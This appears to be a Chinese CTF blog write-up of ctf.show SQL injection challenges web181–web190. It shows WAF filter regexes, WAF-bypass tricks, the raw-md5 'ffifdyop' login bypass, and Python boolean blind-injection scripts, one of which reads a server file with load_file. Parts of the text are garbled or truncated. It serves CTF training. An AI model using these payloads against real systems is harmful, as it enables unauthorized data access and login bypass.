- web181
- web182
- web183
- web184
- web185
- web186
- web187
- web188
- web189
- web190
解答:waf过滤了很多。
空格过滤了很多,select也被过滤了。
题目的where语句处是and连接两个条件。可以考虑运算符优先级。
mysql操作符优先级:(数字越大,优先级越高)
优先级运算符1:=2|| , OR , XOR3&& , AND4NOT5BETWEEN, CASE, WHEN, THEN, ELSE6=
,
, >=
, >
, 0:
print("++++++++++++++++ {} is right".format(x))
flag+=x
break
else:
continue
print("ctfshow{"+flag)
循环次数写的有点多,可以加个if判断,或者看到flag手动中断。
web185题目:
//对传入的参数进行了过滤
function waf($str){
return preg_match('/\*|\x09|\x0a|\x0b|\x0c|\0x0d|\xa0|\x00|\#|\x23|[0-9]|file|\=|or|\x7c|select|and|flag|into|where|\x26|\'|\"|union|\`|sleep|benchmark/i', $str);
}
解答: 数字被过滤了,就要考虑如何构造纯字母的匹配。 翻阅官方文档的字符串方法和操作部分,发现concat方法,可以构造字符串。
(跟着群主的做题路线走,终有一天可以成为大神,哈哈哈) 然后测试看看是否可以构造字符,成功将数字拼接。
然后就是各种试错,直到找到能跑出结果的paylaod。(附上最后本地跑出的字符串,可喜可贺~)
最后上脚本: (我的formatString是自己写的,看着有些啰嗦哈,没有群主的简洁)
import requests
import time
import string
def formatString(str):
temp="concat("
for x in str:
tip=0
if x in string.digits:
tmp=int(x)
else:
tip=1
temp+="char("
tmp=ord(x)
if tmp == 0:
temp+="false"
else:
temp_d="("
for i in range(0,tmp):
temp_d+="true+"
temp_d=temp_d[:-1]+")"
if tip==1:
temp_d+=")"
temp+=temp_d
temp+=","
temp=temp[:-1]+")"
return temp
#print(formatString("0x63746673686f777b"))
url="http://d2f644f5-968d-4301-b037-267c7b183b0e.challenge.ctf.show/select-waf.php"
#dic的顺序可以改一下!我是懒得改了!改顺序可以提高效率!!!
dic="ctfshow{qeryuipadgjklzxvbnm0123456789-}_"
flag="ctfshow{"
for i in range(0,40):
for x in dic:
data={
"tableName":"ctfshow_user group by pass having pass regexp({})".format(formatString(flag+x))
}
#print(data)
response=requests.post(url,data=data)
time.sleep(0.3)
if response.text.find("$user_count = 1;")>0:
print("[**] {} is right".format(x))
flag+=x
break
else:
#print("[--] {} is wrong".format(x))
continue
print("[flag]:"+flag)
web186
题目:
function waf($str){
return preg_match('/\*|\x09|\x0a|\x0b|\x0c|\0x0d|\xa0|\%|\|\^|\x00|\#|\x23|[0-9]|file|\=|or|\x7c|select|and|flag|into|where|\x26|\'|\"|union|\`|sleep|benchmark/i', $str);
}
解答:增加了尖括号,^
、%
的过滤。 上题的payload可用。
题目:是个用户登录窗口 解答:本题和web181类似,都是通过
1 and 0 or 1
达到目的。 题中$password = md5($_POST['password'],true);
,将md5函数的第二参数设置为了true。
string md5( string $str[, bool $raw_output = false] )
- raw_output:如果可选的 raw_output 被设置为 TRUE,那么 MD5 报文摘要将以16字节长度的原始二进制格式返回。
这里的二进制格式,并不是指转成0101,而是binary mode。
对这个函数的进行本地测试,看一下:
ffifdyop
是一个特殊的字符串,类似万能密码。还有129581926211651571912466741651878684928也可以达到同样的效果。
通过本题测试可知,设置为true后,sql在查询时的语句就变成了:
$sql = "select count(*) from ctfshow_user where username = 'admin' and password= ''or'6�]��!r,��b';
在官方手册中,指出比较操作中值有1(TRUE),0(FALSE)或者NULL。字符串可以自动转换为数字。
下面是字符串转换为数字的操作实例: 所以上面的sql语句就构成了1 and 0 or 1
这样的操作,也就实现了admin登录。
然后就直接用admin和ffifdyop登录即可获取flag。这里注意抓包,或者看源码。
解答:根据题目可知只要登录成功,就会返回flag。密码只能输入数字。
查询语句的where判断是username={$username}
,并没有引号包裹,那么就可以输入数字了。
sql里,数字和字符串的匹配是弱类型比较,字符串会转换为数字,如0==admin
,那么如果输入的username是0,则会匹配所有开头不是数字或者为0的字符串和数字0。(具体的在web187中有提到)
然后再来看password的判断,也是弱类型的比较,那么也直接输入0,尝试登录一个用户名和pass的开头是字母或是0的用户。
成功登录,获取到了flag。
提示:flag在api/index.php文件中 解答:password依然是弱比较。 注入点在username,需要通过它来读取api/index.php文件的内容。看一下username的过滤,or
和|
,select
都被过滤了,不能直接联合查询了,into
不能写入文件。
那么用load_file读取文件,文件的完整路径是/var/www/html/api/index.php
,对文件内容读取形式采取逐字符if判断的盲注形式。看一下登录的返回情况有没有差别: username=0、password=0时,返回“密码错误”。(说明存在用户,但是密码错误) username=1、password=0时,返回“查询失败”。(说明用户不存在)
那么就可以利用这个进行布尔盲注,适当修改web183的脚本即可。
群主的脚本,上!
import requests
import time
url = "http://dc02940d-e22b-4796-ab0f-04bdf57d3a9f.challenge.ctf.show/api/"
flagstr = "}{$=,;_ 'abcdefghijklmnopqr-stuvwxyz0123456789"
flag = ""
#这个位置,是群主耗费很长时间跑出来的位置~
for i in range(257,257+60):
for x in flagstr:
data={
"username":"if(substr(load_file('/var/www/html/api/index.php'),{},1)=('{}'),1,0)".format(i,x),
"password":"0"
}
print(data)
response = requests.post(url,data=data)
time.sleep(0.3)
# 8d25是username=1时的页面返回内容包含的,具体可以看上面的截图~
if response.text.find("8d25")>0:
print("++++++++++++++++++ {} is right".format(x))
flag+=x
break
else:
continue
print(flag)
web190
解答:这次的查询语句里加上了单引号:username = '{$username}'
。 密码依然是和数字弱类型比较。
单引号闭合看一下。
登录的返回逻辑和上题一样,所以还是用布尔盲注,没有啥过滤。 采用二分法:
import requests
import sys
import time
url = "http://36e8713a-b1fb-49c2-badb-4c4d66f5d1cb.challenge.ctf.show/api/"
flag = ""
for i in range(1,60):
max = 127
min = 32
while 1:
mid = (max+min)>>1
if(min == mid):
flag += chr(mid)
print(flag)
break
#payload = "admin'and (ascii(substr((select database()),{},1))
关注
打赏
最近更新
- 深拷贝和浅拷贝的区别(重点)
- 【Vue】走进Vue框架世界
- 【云服务器】项目部署—搭建网站—vue电商后台管理系统
- 【React介绍】 一文带你深入React
- 【React】React组件实例的三大属性之state,props,refs(你学废了吗)
- 【脚手架VueCLI】从零开始,创建一个VUE项目
- 【React】深入理解React组件生命周期----图文详解(含代码)
- 【React】DOM的Diffing算法是什么?以及DOM中key的作用----经典面试题
- 【React】1_使用React脚手架创建项目步骤--------详解(含项目结构说明)
- 【React】2_如何使用react脚手架写一个简单的页面?